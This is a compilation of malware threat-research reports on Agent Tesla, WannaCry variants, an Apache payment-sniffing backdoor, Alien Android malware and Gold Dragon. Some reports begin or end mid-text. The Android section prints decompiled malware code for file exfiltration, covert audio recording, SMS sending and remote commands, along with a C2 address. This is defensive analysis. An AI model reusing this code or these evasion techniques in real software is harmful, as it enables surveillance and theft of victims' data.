The attack chain started with a phishing email mentioning an RFQ for a new order. This might have triggered suspicion for a more security-aware employee, but in this case, the victim was used to receiving similar emails and took the bait. Furthermore, the advanced gateway solution designed to prevent or quarantine documents with a suspected DDE exploit worked, but the user was convinced that the email was legitimate and released it from quarantine because the user is used to receiving RFQs.
In this case, the email was sent from a trusted third party through either a compromised email or a vulnerable domain that allows spoofing emails.
### DDE Exploit
The attached RFQ document is a known macro-less DDE exploit that will download its next stage document from a C2. In order to reduce the risk of detection, the attackers implemented a known technique to avoid the use of “DDE” as part of the text and to delay the download until after protected mode is disabled.
### Equation Editor Exploit
Document.doc implements a second exploit in the chain identified by the following CVEs: CVE-2018-0802, CVE-2017-11882, a memory corruption vulnerability. The content of this new document automatically replaces the content of the original document. While patches already exist for those vulnerabilities, many endpoints were still unpatched due to operational constraints. This reality makes this CVE highly popular even today.
### Agent Tesla Loader 1
Following a successful exploitation of the Microsoft Equation Editor vulnerability, a thin ~500KB loader is downloaded from the same C2 by the equation editor process. The loader is slightly obfuscated with a DeepSea obfuscator. As was previously published, the Tesla loader started to abuse steganography techniques to implement its next stage by hiding its executable in a PNG image; only this time the image looks significantly different.
First decryption of the PNG resource: Surprisingly, the developers of this Tesla loader implemented an additional steganography layer on top of the previously described technique to avoid heuristic detection of image resource based on metadata or entropy.
### Agent Tesla Loader 2
The decrypted image is not the final result; instead, it leads us to one more loader that is also obfuscated by an unknown obfuscator. This .Net assembly is loaded in memory within vbc.exe (the first loader) as soon as it's decrypted from the image. This assembly has multiple functionalities that can be executed based on the predefined configuration parameters, such as:
- Removing its zone identifier before the execution of the next stage to avoid scanning and tracing back to origin.
- Using choice for delayed execution of self-removal.
- Validation that only a single instance is running on the machine.
#### Persistency
- Scheduled Task
- Registry
- Possible installation of the assembly in different user paths
Finally, this second loader implements a basic decryption following the extraction of its byte array from the resource. As soon as the next stage has been extracted, it is injected into a legitimate RegAsm application using delegation and a known hollowing technique, which is implemented by the Frenchy shellcode framework.
### Frenchy Shellcode Loader
As the hollowing mechanism is implemented by native code using a known Frenchy shellcode framework, there was a need to implement a code injection technique that was less likely to be picked up by some vendors. Instead of using a regular “CreateThread” type of method for redirecting the flow to an allocated shellcode, attackers use delegation to achieve the same thing – this is definitely not a new technique but it is less popular than a simple callback native function.
The executed shellcode is identified as a Frenchy shellcode. Morphisec Labs has tracked many Tesla variants that use Frenchy shellcode since January 2020 (although with a lot fewer staging layers). The shellcode maps “known” DLL sections into memory to avoid monitoring by runtime hooking, then it creates the target process in suspended mode (RegAsm). It then maps a section into the legitimate process and copies the previously decrypted executable into this section. Finally, it executes the resume thread with new context that leads to the execution of the Dark stealer.
### Decrypted Tesla Dark Stealer
The final payload that runs within the RegAsm is the main Agent Tesla Dark Stealer module; it is also obfuscated using an unknown obfuscator. All the different configuration strings such as browser names can easily be extracted by simple xor manipulation of the executable bytes. The decrypted strings have been uploaded to pastebin. VirusTotal graph analysis on the IP reveals additional downloaders and multiple different Equation Editor exploits downloaded within the last couple of months.
## Conclusions
Agent Tesla may be an older information stealer, given its launch in 2014, but recent upgrades that allow it to evade detection make it more powerful than ever. The attack described above makes it abundantly clear that Agent Tesla remains a force, especially given the addition of the above described techniques that make this infostealer capable of bypassing modern security controls to deliver its payload. Morphisec customers can remain confident, however, that they are protected against Agent Tesla through the zero trust security power of moving target defense. |
# The WannaCry Hangover
Peter Mackenzie
September 18, 2019
This morning, SophosLabs is releasing a deep dive into the aftermath of a malware that, two years ago, looked like an unstoppable scourge. On the morning of May 12, 2017, organizations and individuals around the world were attacked by malware now known as WannaCry.
WannaCry’s rapid spread, enabled by its implementation of a Windows vulnerability stolen from an intelligence agency, was suddenly halted when security researchers registered an internet domain name embedded in the code – a routine research procedure that inadvertently tripped a “kill switch” subroutine in the malware, causing it to stop infecting computers. A small number of variants released in the following days, using new kill switch domains, were shut down using the same method.
Prior to the malware’s first appearance, Microsoft released an update to close off the vulnerability to exploitation, which would have prevented the infection from spreading. The delay in installing that April 2017 update directly contributed to WannaCry’s ability to copy itself from computer to computer.
By the time the kill switch domain had any effect, the malware had already wrought a lot of destruction. But the kill switch, surprisingly, didn’t mean an end to WannaCry, even though (as far as we know) WannaCry was updated and rereleased only twice a few days after the first infection. In fact, WannaCry detections appear to be at an all-time high, surpassing the number of detections of older worm malware such as Conficker. The malware continues to infect computers worldwide.
These 11 WannaCry variants were responsible for the bulk of the more than 4.3 million WannaCry attacks we observed in August 2019. WannaCry never went away; it just got more broken.
So why isn’t the world still up in arms about WannaCry? It turns out, someone (or possibly several someones) tinkered with WannaCry at some point after the initial attack, and those modified versions are what’s triggering nearly all the detections we now see. Where there was once just a single, unique WannaCry binary, there are now more than 12,000 variants in circulation. In just the month of August 2019, Sophos detected and blocked more than 4.3 million attempts by infected computers to spread some version of WannaCry to a protected endpoint.
The one upside: Virtually all the WannaCry variants we’ve discovered are catastrophically broken, incapable of encrypting the computers of its victims. But these variants are still quite capable of spreading broken copies of themselves to Windows computers that haven’t been patched to fix the bug that allowed WannaCry to spread so quickly in the first place.
The original kill switch domains have remained active since May 2017, when security researchers registered the domains, effectively ending the WannaCry attack. To analyze why WannaCry still seems to be spreading, despite the fact that the kill switch is still active, we looked at about a fifth of the variants that we detected between September and December 2018.
In that three-month period a year ago, we detected 5.1 million failed attempts by WannaCry-infected computers to infect a customer’s protected machine or machines. Out of that sample set, we made some interesting discoveries:
- All of the 2,725 variants of WannaCry we analyzed contained some form of a bypass for the kill switch code that stymied the original WannaCry.
- Ten unique, modified versions of WannaCry malware accounted for 3.4 million (66.7%) of the detections, with the top three accounting for 2.6 million (50.1%).
- 476 of the unique files (3.8%) accounted for an overwhelming 98.8% of the detections.
- 12,005 of the unique files identified (96.1%) were seen fewer than 100 times each.
- The original, true WannaCry binary, with an uncorrupted payload capable of encrypting a victim’s computer, was seen only 40 times – a number so low that it could easily be attributed to security researchers or analysts conducting tests, rather than a real attack.
- Sophos’ original WannaCry behavioral definition, CXmal-Wanna-A, offers effective defense against any attempted infections.
In a heatmap based on August 2019 detections of unsuccessful attempted WannaCry infections against Sophos customers, the United States remained the top targeted country, with more than 22% of infection attempts targeting computers there. Targeted countries such as India (8.8%), Pakistan (8.4%), Peru (7.3%), and Indonesia (6.7%) speak to the global nature of the WannaCry threat.
The most consequential modification to these latter-day WannaCry variants is the kill switch bypass. We detected four different methods, some more kludgy than others, that had been used to get around the protection the kill switch subroutine provides.
## Deferring patches isn’t optional, anymore
WannaCry’s spread was, and still is, aided by the fact that large organizations tend to defer installing Windows update patches, out of an abundance of caution, because some updates have, historically, caused incompatibilities with third-party software. This debate over whether to update right away or to defer the updates until testing can be completed continues even to this day, with some tech columnists persisting in advising users not to install patches right away as a method of mitigating the consequences of an occasional patch that doesn’t work as intended.
While there are limited circumstances in which some specific groups of users will not want a computer to download and install operating system updates, nearly all people and organizations do not fall into this category. Unfortunately, people who spread information about how to defer or avoid updates rarely discuss the more nuanced reasons why someone might want (or not want) to disable this feature. There are tradeoffs and serious consequences to not installing updates. But some IT administrators’ or individuals’ reticence to install updates appears to be deep-seated and widespread, despite the risk such inaction poses.
The continuous rise in WannaCry detections does raise warning flags: it means there are still machines whose owners have not installed an operating system update in more than two years, and those machines are vulnerable not only to WannaCry, but to much more dangerous types of attack that have emerged in the past two years.
And this leads to an inescapable point: The fact remains that, if the original kill switch domains were to suddenly become unregistered, the potent, harmful versions of WannaCry could suddenly become virulent again, distributed by and to a plethora of vulnerable, unpatched machines.
## Acknowledgments
The author would like to acknowledge the efforts of many in the security community who helped build an early understanding of the effect and impact of WannaCry, including Marcus Hutchins, Jamie Hankins, and Matt Suiche, and SophosLabs researchers Fraser Howard and Anton Kalinin for their assistance with the research and technical guidance for this report. We will publish IoCs from this report on our Github. |
# Reverse Engineering of a Breach Security Report 10.2019
## 1. Introduction
The Yarix team analyzed a very insidious backdoor implanted in an Apache web server. This allows sniffing HTTPS traffic when it is licitly decrypted by the web server. What caught our attention was the fact that this component, while revealing many features of the Linux/Cdorked.A backdoor, may today be recognized as 100% clean on Virus Total. It is not every day that we find ourselves faced with cases like this: we are definitely facing a complex artifact designed exclusively for the Customer’s environment which, thanks to extensive use of encryption, is not detected by any anti-malware platform, not even the most advanced ones that have conquered the market in recent years with behavioral and/or machine learning algorithms.
Apache backdoors are nothing new: unfortunately, those who are victims of malware such as Linux/Cdorked.A should remember its features and how it interacted with the infamous Blackhole exploit kit. The use of external modules or plugins for web servers is a known persistence technique, used and abused over the years but still utilized today. Even last year, Palo Alto intelligence sources revealed that the OilRig group used the RGDoor module as a backdoor for the IIS web server in attacks in the Middle East.
## 2. First Results
### Static Analysis
Let’s start from the beginning: what is an Apache module? At high level, it can be considered as a sort of library: additional code used to extend native functionalities - in this case of the Web Server. Today, in the standard package distributions, we find some already installed by default, such as mod_ssl or mod_php. In this specific case, we found a module, mod_dir.so, which imitates in all respects the functionality of the standard one but adds others, really insidious.
The framework provided by Apache provides the developer with a series of hooks. These allow to run additional code during the different states of execution of the process.
In particular, the hooks exploited by this module are offered natively by the Apache framework and therefore we can know what and how they should be used.
- **ap_hook_child_init**: place a hook that executes when a child process is spawned (commonly used for initializing modules after the server has forked).
- **ap_hook_post_config**: place a hook that executes after configuration has been parsed, but before the server has forked.
- **ap_hook_insert_filter**: place a hook that executes when the filter stack is being set up.
- **ap_hook_handler**: place a hook that executes on handling requests.
- **ap_hook_log_transaction**: place a hook that executes when the server is about to add a log entry of the current request.
- **ap_hook_register_input_filter**: place a hook that executes a custom function when input is required.
- **ap_hook_fixups**: place a hook that executes right before content generation.
Based on the description of these functions, we have an idea of how the module works.
### HOOK 1 | ap_hook_child_init
The first function performed is the one that is called by ap_hook_child_init. Thanks to IDAPro’s capabilities, it is possible to understand which functions of the standard library are called. It is therefore possible to get a high-level idea of the actions performed as soon as Apache creates a child process to handle a request that arrives towards the server port 80 or 443.
During initialization, the module attempts to create a mutex and, if it fails, generates an error which is then logged by the _ap_log_error function. The other function called apr_shm_baseaddr_get is more interesting and gets, through the RDI register, the base address of the shared memory segment. Unfortunately, at the moment we are not able to understand much more from static analysis.
### HOOK 2 | ap_hook_post_config
The second hook ap_hook_post_config that we are going to analyze is executed immediately before the father Apache process reduces its root privileges to www-data. In fact, these privileges serve to allocate portions of memory which will then be used during the operation of the module. It is possible to note the portion of code that allocates a new memory pool.
Until now we found nothing really strange or malicious or interesting. The module begins to show its capabilities in the functions called by the other hooks. It is here that we meet for the first time the string that from now on will represent the name of our malware: `p0sT5n1F3r=`. Our attention is immediately struck by this string which is passed as an argument to the function ap_register_input_filter.
### HOOK 3 | ap_hook_insert_filter
Let’s take a look at the function ap_hook_insert_filter now. Its prototype is: `ap_hook_insert_filter(filter_insert, NULL, NULL, APR_HOOK_MIDDLE)`. Thus, the inserted filter is given by the function passed as the first argument, i.e., the function sub_34AB. This function takes care of building the filter which will then be activated inside the module and in fact the function ap_regexec is used, whose role is that of “Match to NUL-terminated string against a pre-compiled regex”.
From the static analysis of these functions, we were able to understand that the module:
- is characterized by the string `p0sT5n1F3r=`
- takes care of inserting an input filter within the task of processing requests coming to the web server
- acts on the body of requests and not on headers
- the filter is activated only if it meets the exact match of a string that is obtained at runtime.
## 3. An Important Discovery
The approach we are following was useful to begin to understand how the module works because the code was not obfuscated and none of the functions, custom or standard libraries, were resolved at runtime. This unfortunately is no longer true for the two other functions, the most interesting, which are called by the ap_hook_handler hook and by ap_register_input_filter.
In the first case, we are dealing with a clearly more complex function that makes extensive use of encrypted strings. In the second case, we find calls to functions dynamically resolved at runtime. Before tackling the reversing of these two functions, we decide to change approach. Analyzing the encrypted strings, we find one that we highlighted earlier, `Dz27Dz27`, which has an important feature.
It is located at a very precise address within the binary and is called several times within the previous two functions. For example, we find two calls in the function sub_3D17. Very interesting is also the fact that the dword_209464 is positioned exactly after the string highlighted before, almost as if they were the declarations of two variables closely related in some way. Curiosity obviously pushes us to check out what this function does.
Those who deal with malware reverse engineering and encryption algorithms will have understood that in cases like this - nine times out of ten - this is the RC4 encryption algorithm. This is in fact the part of the algorithm known as KSA (Key Scheduling Algorithm). The key and its length are identified as arguments of the function. Once this new information is obtained, we are therefore able to trace where this algorithm is used to encrypt and decrypt data saved statically in the binary.
We find the first reference in this interesting function in which we were also able to identify the second part of the RC4 algorithm, the one known as Pseudo-random generation algorithm (PRGA). Having therefore the RC4 key and the length of the encrypted buffer, we can proceed to decrypt the buffer. To do this we will use CyberChef.
These evidences have been disruptive for the outcome of the incident response and resolution of the case. Analyzing these strings we can surely proceed forward in the forensic activity of the machine and therefore obtain Indicators Of Compromise (IoC). Another very important indication of how specifically the module was built for the Customer’s environment is the presence of the string `/Home/Acquisto`. This information fits exactly with what we have understood from the static analysis: the regular expression created during the initialization of the module would seem to look for the match with this string which, incidentally, is exactly the URL that deals with finalizing the monetary transaction where the user enters the data for payment.
The RC4 algorithm is used in many other functions within the module: each data is never in clear text but always encrypted. However, having the encryption key we can proceed a little faster. In particular, a full-bodied buffer inside the track aroused the curiosity of the reverse engineering team. A buffer of around 12KB that we can decipher with the same methodology as before.
An HTML page, saved inside the module, showing a title `mod_sniffer` and an image called `modIframe`. Apart from the nice subtitle, the page shows some interesting information: there are in fact variables that are obviously resolved at runtime like the kernel version or uptime and others of which, at the moment, we do not know the meaning.
The module is still in the analysis phase. We share the hashes that identify it:
- **MD5**: 1720aca23d81e0aa6fa28096781294c3
- **SHA-1**: df454026aac01ad7e394c9f5c2bfdb12fea9a0e0
- **SHA-256**: 1c55ffee91e8d8d7a1b4a1290d92a58c4da0c509d5d8d2741cec7f4cf6a099bd |
# Technical Analysis of Alien Android Malware
## Unpacking
If you opened the sample in JEB decompiler, you will find class names are obfuscated and contain nop code, which makes the analysis of the code harder and indicates that the sample is packed. We need to get the decrypted payload. We will use a script with Frida to get the payload. After unpacking the sample and getting the payload, we see the strings are encrypted using Base64 and other encryption routines. The encryption routine is found in `com.mhiauaqmlacl.ypmsfwbkjhsbeoz`. We will use this JEB script but change the key value to `tycusvgndour`. Then add the script to the JEB decompiler. To add the script, press `F2` and `Create`, then copy the script from GitHub and paste it. To run the script, select the encrypted string and press execute; the decrypted strings will be a comment. One by one, you will find yourself decrypting all the strings and start analyzing the payload. Big thanks to Axelle Ap. for all the scripts.
## TeamViewer Helps the Devil
This is an amazing technique that allows the malware to perform malicious actions even if the user is using the device. The malware will open an overlay screen that tells the user there’s a system update they need to wait for. While the overlay screen is set over the screen, the malware will perform malicious actions by connecting to the TeamViewer app.
```java
if(s2.contains(this.a("ZWJkNzMyYWFkYjM1NzUwYWJkYTkxYTVlNDgyMDdlZDhiMGNh"))) {
JSONObject jSONObject6 = new JSONObject(s2);
this.a.e(this, this.b.aK, jSONObject6.getString(this.a("ZWJkNzMyYWFkYjM1NzUwYWJkYTkxYTVlNDgyMDdlZDhiMGNh")));
this.a.e(this, this.b.aL, jSONObject6.getString(this.a("ZjhkOTJmYjdjOTM5NzMzMQ=="))); // password
this.a.e(this, this.b.aO, jSONObject6.getString(this.a("ZWVkOTM3YTE="))); // fake
this.a.e(this, this.b.aM, jSONObject6.getString(this.a("ZTBkMTM4YTBkYjM4"))); // hidden
this.a.e(this, this.b.aN, jSONObject6.getString(this.a("ZWFkNDMzYTdkNTNmNmYzMg=="))); // blocking
this.a.f(this);
i.f(this, this.a("ZWJkNzMxZWFjYTMzNjAzOGJmYTUxZTQ0NWIzYjM1YzdiYWNiOTZiODljYTY5MTNhZGFlYQ=="));
// com.teamviewer.host.market
goto label_5;
}
```
## Data Exfiltration
The malware has the ability to exfiltrate data and send specific files to the C2 server from the victim’s device.
```java
if(s2.contains(this.a("ZTdjODM5YWFlMTMwNmUzOWFkYTkwOQ=="))) { // open_folder
String s3 = new JSONObject(s2).getString(this.a("ZTdjODM5YWFlMTMwNmUzOWFkYTkwOQ==")); // open_folder
if(s3.equals(this.a("ZjY5Nw=="))) { // ~/
s3 = Environment.getExternalStorageDirectory().getAbsolutePath();
}
String[] arr_s = this.a.b(new File(s3));
try {
JSONObject jSONObject1 = new JSONObject();
jSONObject1.put(this.a("ZWJkNTM4"), this.a("ZTljYTJlYTVjNzA5NjczY2E1YTkwODZjNTgyNjc3Y2JiMGNh")); // array_files_folder
jSONObject1.put(this.a("ZWNkMTJl"), i.e(s3)); // dir
jSONObject1.put(this.a("ZWVkNzMwYTBkYjI0NzI="), i.e(arr_s[0])); // folders
jSONObject1.put(this.a("ZWVkMTMwYTFjZA=="), i.e(arr_s[1])); // files
String s4 = jSONObject1.toString().replace("\\n", "");
this.a.a(this.a("YzJlYjEzOGFlMTA1NDQxYjhk"), s4); // JSON_SEND
this.a.i(this, this.b.H + this.a.h(s4));
goto label_5;
} catch(JSONException unused_ex) {
}
this.a.a(this.c, this.a("Y2RjYTJlYWJjYzc2NmIyNmE2YTI1YjQxNWYzZDNiYzVhNmQ3OGNjNDk0YjY5NjM0Y2NlYWZlMTEzOT"); // Error json rat jsonRequest open_folder
goto label_5;
}
```
## Collected Data
The malware will collect data from the victim’s device such as battery percentage, language used on the device, Accessibility Service status, phone number of the used line, Google accounts, and permissions obtained from the device. Then send it to the C2 server.
```java
try { // DM
jSONObject0.put(jwozx0.a("Y2NmNQ=="), s2); // DM
jSONObject0.put(jwozx0.a("YzlmYw=="), jwozx0.a("ZTZjZDMwYTg=")); // null
jSONObject0.put(jwozx0.a("Y2FmNA=="), i.battary_percentage(context0)); // BL
jSONObject0.put(jwozx0.a("ZGNlZg=="), jwozx0.a.sharedpref(context1, c0.af)); // TW
String s3 = jwozx0.a("ZGJmOQ=="); // SA
String phone_num = i.s(this) ? "Yjk=" : "Yjg="; // 0
String s5 = jwozx0.a(phone_num);
jSONObject0.put(s3, s5);
jSONObject0.put(jwozx0.a("ZGJlOA=="), jwozx0.a.sharedpref(context1, c0.ar)); // SP
jSONObject0.put(jwozx0.a("ZGJlYg=="), i.u(context0)); // SS
jSONObject0.put(jwozx0.a("YzRmZA=="), Locale.getDefault().getLanguage()); // LE
String s6 = jwozx0.a("ZGJlMQ=="); // SY
String phone_num = i.accessibility_status(context1, ojfiq.class) ? "Yjk=" : "Yjg="; // 0
String s8 = jwozx0.a(phone_num);
jSONObject0.put(s6, s8);
jSONObject0.put(jwozx0.a("ZGJmNQ=="), i.default_sms_pkg(this)); // SM
jSONObject0.put(jwozx0.a("YzFmYw=="), s1); // ID
jSONObject0.put(jwozx0.a("YzFlYg=="), jwozx0.a.sharedpref(context1, c0.ae)); // IS
String s9 = jwozx0.a("YzZlYQ=="); // NR
String phone_num = context1.checkCallingOrSelfPermission(jwozx0.a.a.p) == 0 ? ((TelephonyManager)context1.getSystemService("phone")).getLine1Number() : "";
jSONObject0.put(s9, phone_num);
jSONObject0.put(jwozx0.a("Y2ZmOQ=="), i.google_acc(this)); // GA
jSONObject0.put(jwozx0.a("ZDhlYg=="), i.check_permission(jwozx0, c0.q[0])); // PS
jSONObject0.put(jwozx0.a("ZDhmYg=="), i.check_permission(jwozx0, c0.q[1])); // PC
jSONObject0.put(jwozx0.a("ZDhlOA=="), i.check_permission(jwozx0, c0.q[2])); // PP
jSONObject0.put(jwozx0.a("ZDhmNw=="), i.check_permission(jwozx0, c0.q[3])); // PO
} catch(JSONException unused_ex) {
jwozx0.a.a(s, jwozx0.a("Y2RlYTBlOGJlYzc2NGIwNjg2ODI1YjcwNzYwYzU4ZTRmNWZhYWRjMg==")); // ERROR JSON
}
```
## Recording Audio
The malware has the ability to record audio without the knowledge of the user.
```java
protected void onHandleIntent(Intent intent0) {
try { // tick
int v = Integer.parseInt(intent0.getStringExtra(this.a("ZmNkMTNmYWY="))); // tick
String s = intent0.getStringExtra(this.a("ZTZkOTMxYTE=")); // name
if(v > 0 || v == -1) {
String s1 = new SimpleDateFormat(this.a("YzVmNTcxYTBkYTdiNzgyY2IwYjUyNDdiNzY3Mzc2YzJlZmNiOTE="), Locale.US).format(Calendar.getInstance().getTime()); // MM-dd-yyyy_HH:mm:ss
this.d = this.getExternalFilesDir(null) + (this.a("YTc=") + s + this.a("ZDc=") + s1 + this.a("YTZkOTMxYjY=")); // .amr
this.b.a(this.a("Y2VmMTEwODE5ZTA0NDQxNg=="), this.d); // FILE REC
this.b.a(this.a("ZGNkMTMxYTE="), String.valueOf(v)); // Time
String s2 = this.d;
MediaRecorder mediaRecorder0 = new MediaRecorder();
this.b.a(this.a("ZGJmNzA5OGFmYQ=="), this.a("ZGJlYzFkOTZlYTc2NTMxMDhhODMyOTc3MWUxYTU0ZmE5YmZj")); // START RECORD SOUND
this.a = false;
mediaRecorder0.setAudioSource(1);
mediaRecorder0.setOutputFormat(3);
mediaRecorder0.setAudioEncoder(1);
mediaRecorder0.setOutputFile(s2);
Thread thread0 = new Thread(new Runnable() {
@Override
public final void run() {
try {
if(v == -1) {
Thread.sleep(900000L);
} else {
Thread.sleep(v * 1000);
}
} catch(InterruptedException unused_ex) {
izyiyumk.this.b.a(izyiyumk.this.a("ZGJmNzA5OGFmYQ=="), izyiyumk.this.a("ZGJlYzEzOTQ5ZTA0NDQxNjg2OWUzZjEzNmQwNjRlZTE5MQ==")); // STOP RECORD SOUND
try {
mediaRecorder0.stop();
mediaRecorder0.release();
izyiyumk.this.b.a(izyiyumk.this.a("Y2VmMTEwODE="), s2); // FILE
String s = izyiyumk.this.b.j(this, izyiyumk.this.c.ba);
izyiyumk.this.b.e(this, izyiyumk.this.c.ba, s + izyiyumk.this.a("YWI5Yjdm") + s2); // ###
if(v == -1) {
if(izyiyumk.this.b.j(this, izyiyumk.this.c.aZ).equals(izyiyumk.this.a("Yjk="))) { // 1
Intent intent0 = new Intent(this, izyiyumk.class).putExtra(izyiyumk.this.a("ZmNkMTNmYWY="), izyiyumk.this.a("YTU4OQ==")).putExtra(izyiyumk.this.a("ZTZkOTMxYTE="), izyiyumk.this.a("ZmFkZDNmYWJjYzMyNWUzNGJjYTgxMjVj")); // record_audio
izyiyumk.this.startService(intent0);
return;
}
izyiyumk.this.b.e(this, izyiyumk.this.c.aY, "");
return;
}
izyiyumk.this.b.e(this, izyiyumk.this.c.aY, "");
} catch(Exception unused_ex) {
}
return;
} catch(Throwable unused_ex) {
return;
}
izyiyumk.this.b.a(izyiyumk.this.a("ZGJmNzA5OGFmYQ=="), izyiyumk.this.a("ZGJlYzEzOTQ5ZTA0NDQxNjg2OWUzZjEzNmQwNjRlZTE5MQ==")); // STOP RECORD SOUND
}
});
}
} catch(Exception unused_ex) {
}
}
```
## Classic Features
### Call and Call Forward
After granting all call permissions, the malware will have the ability to call or forward calls.
```java
try {
Intent intent0 = new Intent("android.intent.action.CALL");
intent0.addFlags(0x10000000);
intent0.setData(Uri.parse("tel:" + Uri.encode(s26)));
context1.startActivity(intent0);
String s27 = "USSD: " + s26 + "[143523#]";
i1.a("USSD", s27);
i1.f(context1, i1.a.ab, s27);
return;
} catch(Exception unused_ex) {
}
```
### Smishing
The malware has the ability to send SMSs to any contact using the phone number of the victim. The SMS text is received from the C2 server and then sent to another victim.
```java
public final void send_sms(Context context0, String s, String s1) {
try {
SmsManager smsManager0 = SmsManager.getDefault();
ArrayList arrayList0 = smsManager0.divideMessage(s1);
int v = 0;
PendingIntent pendingIntent0 = PendingIntent.getBroadcast(context0, 0, new Intent("SMS_SENT"), 0);
PendingIntent pendingIntent1 = PendingIntent.getBroadcast(context0, 0, new Intent("SMS_DELIVERED"), 0);
ArrayList arrayList1 = new ArrayList();
ArrayList arrayList2 = new ArrayList();
while(v < arrayList0.size()) {
arrayList2.add(pendingIntent1);
arrayList1.add(pendingIntent0);
++v;
}
smsManager0.sendMultipartTextMessage(s, null, arrayList0, arrayList1, arrayList2);
String s2 = "Output SMS:" + s + " text:" + s1 + "[143523#]";
this.a("SMS", s2);
this.f(context0, this.a.ab, s2);
this.h(context0, this.sharedpref(context0, this.a.Q));
} catch(Exception unused_ex) {
}
}
```
### Overlay Attack
The malware comes with classic features such as overlay attack. If a targeted app is opened, then the malware will launch the HTML file of the targeted app.
```java
protected void onCreate(Bundle bundle0) {
super.onCreate(bundle0);
this.c = new WebView(this);
this.c.getSettings().setJavaScriptEnabled(true);
this.c.setScrollBarStyle(0);
this.c.setWebViewClient(new b(this, 0));
this.c.setWebChromeClient(new a(this, 0));
this.c.loadUrl(this.b.m);
this.setContentView(this.c);
}
@Override // android.app.Activity
public void onDestroy() {
super.onDestroy();
this.c.removeAllViewsInLayout();
this.c.removeAllViews();
this.c.destroy();
this.c = null;
this.finish();
}
```
## Commands
These are all the commands received from the C2 server to the malware to perform malicious actions.
```java
jwozx0.a.a(s, jwozx0.a("ZWZkZDI4ZTRjYzIzNmYwYWFhYTExZjA5MWU=") + jSONObject3.toString()); // get run_cmd:
jSONObject5 = new JSONObject(new String(Base64.decode(jSONObject3.getString(jwozx0.a("ZWNkOTI4YTU=")), 0), "UTF-8")); // data
String s25 = jSONObject5.getString(jwozx0.a("ZWJkNTM4")); // cmd
switch(s25) {
case "remove_app": {
goto label_1633;
}
case "get_all_permission": {
goto label_1761;
}
case "run_socks5": {
goto label_1764;
}
case "notification": {
goto label_1383;
}
case "send_sms": {
jwozx0.a.send_sms(context1, jSONObject5.getString(jwozx0.a("ZTY=")), jSONObject5.getString(jwozx0.a("ZmM=")));
return;
}
// Additional cases...
}
```
## IoC
APK hash: `ea4960b84756fd82fe43cb2cffdbe464df6dd4d48aa10d1cefe38aa8ac6eb44d`
Payload (YBIw.json) hash: `603fcae1ef4062087e0e09aa377c03fcc8bbd6f3db443717957f1bfe8c4a4dae`
C2 server: `http://185.255.131.145/` |
# Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims’ Systems
By Ryan Sherstobito and Jessica Saavedra-Morales on Feb 02, 2018
McAfee Advanced Threat Research (ATR) recently released a report describing a fileless attack targeting organizations involved with the Pyeongchang Olympics. The attack used a PowerShell implant that established a channel to the attacker’s server to gather basic system-level data. What was not determined at that time was what occurred after the attacker gained access to the victim’s system.
McAfee ATR has now discovered additional implants that are part of an operation to gain persistence for continued data exfiltration and for targeted access. We have named these implants, which appeared in December 2017, Gold Dragon, Brave Prince, Ghost419, and Running Rat, based on phrases in their code.
On December 24, 2017, our analysts observed the Korean-language implant Gold Dragon. We now believe this implant is the second-stage payload in the Olympics attack that ATR discovered January 6, 2018. The PowerShell implant used in the Olympics campaign was a stager based on the PowerShell Empire framework that created an encrypted channel to the attacker’s server. However, this implant required additional modules to be executed to be a fully capable backdoor. In addition, the PowerShell implant did not contain a mechanism to persist beyond a simple scheduled task. Gold Dragon has a much more robust persistence mechanism than the initial PowerShell implant and enables the attacker to do much more to the target system. Gold Dragon reappeared the same day that the Olympics campaign began.
The Gold Dragon malware appears to have expanded capabilities for profiling a target’s system and sending the results to a control server. The PowerShell implant had only basic data-gathering capabilities—such as username, domain, machine name, and network configuration—which are useful only for identifying interesting victims and launching more complex malware against them.
## Gold Dragon
Gold Dragon is a data-gathering implant observed in the wild since December 24. Gold Dragon gets its name from the hardcoded domain www.golddragon.com, which we found throughout the samples. This sample acts as a reconnaissance tool and downloader for subsequent payloads of the malware infection and payload chain. Apart from downloading and executing binaries from the control server, Gold Dragon generates a key to encrypt data that the implant obtains from the system. This URL is not used for control; the encrypted data is sent to the server ink.inkboom.co.kr, which was used by previous implants as early as May 2017.
Gold Dragon contains elements, code, and similar behavior to implants Ghost419 and Brave Prince, which we have tracked since May 2017. A DLL-based implant created on December 21 (the same day the first malicious Olympics document appeared) was downloaded by a Gold Dragon variant created December 24. This variant was created three days before the targeted spear phishing email with the second document that was sent to 333 victim organizations. The December 24 variant of Gold Dragon used the control server nid-help-pchange.atwebpages.com, which was also used by a Brave Prince variant from December 21.
The first variants of Gold Dragon appeared in the wild in South Korea in July 2017. The original Gold Dragon had the file name 한글추출.exe, which translates as Hangul Extraction and was seen exclusively in South Korea. Five variants of Gold Dragon compiled December 24 appeared heavily during the targeting of the Olympics organizations.
## Analyzing Gold Dragon
As part of its initialization, Gold Dragon:
- Builds its imports by dynamically loading multiple APIs from multiple libraries.
- Gains debug privileges (“SeDebugPrivilege”) for its own process to read remote memory residing in other processes.
The malware does not establish persistence for itself but for another component (if it is found) on the system:
- The malware begins by looking for an instance of the Hangul word processor (HWP) running on the system. (HWP is a Korean word processor similar to Microsoft Word.)
- Checking for HWP.exe in the process list.
- If HWP.exe is found running on the system, the malware finds the currently open file in HWP by extracting the file path from the command-line argument passed to HWP.exe.
- This word file (usually named *.hwp) is copied into the temporary file path C:\DOCUME~1\<username>\LOCALS~1\Temp\2.hwp.
- hwp is an exact copy of the file loaded into HWP.exe.
- The malware reads the contents of 2.hwp and finds an “MZ magic marker” in the file indicated by the string “JOYBERTM.” This marker indicates the presence of an encrypted MZ marker in the .hwp file and is decrypted by the malware and written to the Startup folder for the user: C:\Documents and Settings\<username>\Start Menu\Programs\Startup\viso.exe. This step establishes the persistence of the malware across reboots on the endpoint. Once the decrypted MZ marker is written to the Startup folder, the 2.hwp is deleted from the endpoint.
The malware might perform this activity for a couple of reasons:
- Establish persistence for itself on the endpoint.
- Establish persistence of another component of the malware on the endpoint.
- Update itself on the endpoint after a separate updater component downloads the update from the control server.
The malware has limited reconnaissance and data-gathering capabilities and is not full-fledged spyware. Any information gathered from the endpoint is first stored in the following file, encrypted, and sent to the control server: C:\DOCUME~1\<username>\APPLIC~1\MICROS~1\HNC\1.hwp.
The following information is gathered from the endpoint, stored in the file 1.hwp, and sent to the control server:
- Directory listing of the user’s Desktop folder using command: cmd.exe /c dir C:\DOCUME~1\<username>\Desktop\ >> C:\DOCUME~1\<username>\APPLIC~1\MICROS~1\HNC\1.hwp.
